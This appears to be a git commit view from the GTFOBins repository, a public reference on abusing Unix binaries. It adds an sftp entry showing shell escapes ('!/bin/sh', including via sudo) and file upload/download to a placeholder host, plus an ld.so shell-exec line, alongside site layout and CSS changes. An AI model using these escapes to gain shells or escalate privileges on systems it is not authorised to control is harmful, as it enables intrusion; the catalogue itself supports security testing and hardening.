1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 02:42:45 +02:00

Merge branch 'master' of github.com:GTFOBins/GTFOBins.github.io

This commit is contained in:
Emilio Pinna 2018-05-22 17:30:51 +01:00
commit 8c331a6234
6 changed files with 73 additions and 2 deletions

View File

@ -1,5 +1,11 @@
---
description: Ld.so is the Linux dynamic linker/loader. Its file name and location might change between Linux versions.
description: |
`ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:
```
$ strings /proc/self/exe | head -1
/lib64/ld-linux-x86-64.so.2
```
functions:
exec-interactive:
- code: /lib/ld.so /bin/sh

25
_gtfobins/sftp.md Normal file
View File

@ -0,0 +1,25 @@
---
functions:
exec-interactive:
- code: |
HOST=user@10.0.0.1
sftp $HOST
!/bin/sh
sudo-enabled:
- code: |
HOST=user@10.0.0.1
sudo sftp $HOST
!/bin/sh
upload:
- description: Send local file to a SSH server.
code: |
RHOST=user@10.0.0.1
sftp $RHOST
put file_to_send where_to_save
download:
- description: Fetch a remote file from a SSH server.
code: |
RHOST=user@10.0.0.1
sftp $RHOST
get file_to_get where_to_save
---

View File

@ -3,4 +3,8 @@
<a href="/">..</a> /
{% endif %}
{{ include.title }}
<div class="github-buttons">
<a class="github-button" href="https://github.com/GTFOBins/GTFOBins.github.io" data-icon="octicon-star" data-show-count="true" aria-label="Star GTFOBins/GTFOBins.github.io on GitHub">Star</a>
<a class="github-button" href="https://github.com/GTFOBins/GTFOBins.github.io/fork" data-icon="octicon-repo-forked" aria-label="Fork GTFOBins/GTFOBins.github.io on GitHub">Fork</a>
</div>
</h1>

View File

@ -21,6 +21,8 @@ layout: common
{{ site.data.functions[function_name].description | markdownify }}
<div class="examples">
{% for example in examples %}
<div class="example">
@ -43,4 +45,6 @@ sudo chmod +s ./{{ bin_name }}
{% endfor %}
</div>
{% endfor %}

View File

@ -15,6 +15,7 @@
</title>
<link rel="stylesheet" href="/style.css" type="text/css"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, user-scalable=yes">
<script async defer src="https://buttons.github.io/buttons.js"></script>
</head>
<body>
{{ content }}

View File

@ -104,7 +104,29 @@ a:hover {
}
}
// classes
// bin examples
.examples {
display: table;
width: 100%;
table-layout: fixed;
counter-reset: item;
.example:not(:only-child) {
display: table-row;
&:before {
display: table-cell;
font-size: 0.8rem;
width: 2em;
text-align: center;
counter-increment: item;
content: counter(item) ".";
}
}
}
// other classes
.bin-name {
font-family: monospace;
@ -115,3 +137,12 @@ a:hover {
font-size: 1.4rem;
font-weight: bold;
}
.github-buttons {
float: right;
// avoid displaying the link text during loading
a.github-button {
visibility: hidden;
}
}